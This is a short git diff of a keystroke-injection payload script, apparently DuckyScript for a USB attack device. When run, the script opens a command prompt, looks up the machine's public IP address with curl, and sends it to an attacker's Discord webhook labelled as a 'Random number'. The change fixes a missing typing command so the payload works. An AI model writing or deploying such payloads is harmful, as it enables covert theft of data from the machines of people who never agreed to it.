diff --git a/pull-ip-discord.txt b/pull-ip-discord.txt index 7280d16..a827793 100644 --- a/pull-ip-discord.txt +++ b/pull-ip-discord.txt @@ -6,10 +6,10 @@ STRING cmd DELAY 500 ENTER DELAY 500 -for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i +STRING for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i DELAY 500 ENTER DELAY 1000 STRING curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Random number: %IP_ADDR%\"}" YOUR_DISCORD_WEBHOOK_URL DELAY 500 -ENTER \ No newline at end of file +ENTER